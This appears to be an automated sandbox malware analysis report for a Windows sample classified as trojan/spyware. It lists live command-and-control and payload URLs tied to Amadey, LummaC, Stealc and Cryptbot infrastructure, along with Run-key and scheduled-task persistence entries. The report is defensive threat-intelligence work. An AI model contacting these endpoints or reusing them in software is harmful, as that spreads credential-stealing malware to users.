https://property-imper.sbs:443/apit	e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/~	e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/apim	e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17320193476963	a7f098a093.exe, 0000000C.00000003.3116694621.0000000001272000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/x	e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpj	3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://.css	a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpr	3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://coverage.mozilla.org	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://push-hook.cyou/	r5mqFEC.exe, r5mqFEC.exe, 0000000A.00000003.2654265532.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666574933.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2663034067.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666691867.00000000032A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php~	3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://blocked.cdn.mozilla.net/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://profiler.firefox.com	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api~	e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2951041337.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mH	e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.cloudflare-dns.com/dns-query	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search	firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://relay.firefox.com/api/v1/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://topsites.services.mozilla.com/cid/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	3996dc7402.exe, 0000000E.00000002.3207489291.00000000005E7000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://property-imper.sbs/	e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/	e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/f	e5e907fecb.exe, 0000000F.00000003.2982166481.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/7	3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/N	e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.10.6	push-hook.cyou	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561857
Start date and time:	2024-11-24 14:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@88/27@87/11
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.238, 64.233.165.84, 172.217.21.35, 52.168.117.173, 23.218.210.69, 74.125.205.84, 2.20.41.214, 20.50.80.213, 142.250.181.74, 142.250.181.106, 172.217.17.42, 172.217.17.74, 172.217.19.202, 216.58.208.234, 142.250.181.42, 172.217.19.234, 172.217.21.42, 142.250.181.10, 13.74.129.1, 20.189.173.21, 172.217.19.227, 20.189.173.9, 204.79.197.237, 13.107.21.237, 172.217.17.35, 172.217.17.78, 20.42.73.29
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, onedscolprdwus08.westus.cloudapp.azure.com, slscr.update.microsoft.com, spocs.getpocket.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, a19.dscg10.akamai.net, e11290.dspg.akamaiedge.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, ipv4only.arpa, star-azurefd-prod.trafficmanager.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, onedsblobprdeus15.eastus.cloudapp.azure.com, prod.ads.prod.webservices.mozgcp.net, update.googleapis.com, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, onedscolprdneu08.northeurope.cloudapp.azure.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wik
Execution Graph export aborted for target file.exe, PID 7544 because it is empty
Execution Graph export aborted for target r5mqFEC.exe, PID 7572 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7744 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7760 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:24:03	API Interceptor	19517483x Sleep call for process: skotes.exe modified
08:24:15	API Interceptor	8x Sleep call for process: r5mqFEC.exe modified
08:24:38	API Interceptor	122x Sleep call for process: e5e907fecb.exe modified
08:24:55	API Interceptor	1956891x Sleep call for process: a7f098a093.exe modified
08:24:57	API Interceptor	444x Sleep call for process: 3996dc7402.exe modified
08:25:30	API Interceptor	1x Sleep call for process: WerFault.exe modified
13:23:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:24:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e5e907fecb.exe C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe
13:24:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3996dc7402.exe C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe
13:24:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d986826e57.exe C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe
13:25:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 19cf1f0449.exe C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe
13:25:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e5e907fecb.exe C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe
13:25:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3996dc7402.exe C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe
13:25:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d986826e57.exe C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe
13:25:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 19cf1f0449.exe C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe
13:26:48	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
13:28:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7dab8cec32.exe C:\Users\user\AppData\Local\Temp\1008767001\7dab8cec32.exe
13:28:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 99c6f8c542.exe C:\Users\user\AppData\Local\Temp\1008768001\99c6f8c542.exe
13:28:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 25e5a8572d.exe C:\Users\user\AppData\Local\Temp\1008769001\25e5a8572d.exe
13:29:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bf6812554b.exe C:\Users\user\AppData\Local\Temp\1008770001\bf6812554b.exe
13:29:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7dab8cec32.exe C:\Users\user\AppData\Local\Temp\1008767001\7dab8cec32.exe
13:29:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 99c6f8c542.exe C:\Users\user\AppData\Local\Temp\1008768001\99c6f8c542.exe
13:29:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 25e5a8572d.exe C:\Users\user\AppData\Local\Temp\1008769001\25e5a8572d.exe
13:29:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bf6812554b.exe C:\Users\user\AppData\Local\Temp\1008770001\bf6812554b.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.10.6	file.exe	Get hash	malicious	Unknown	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	Unknown	Browse	104.21.10.6
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	172.66.0.227
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.74.152
	2aiDfP0r7h.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	OVtsE8ZkBE.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	Unknown	Browse	104.21.10.6
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	172.66.0.227
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.74.152
	2aiDfP0r7h.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	OVtsE8ZkBE.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
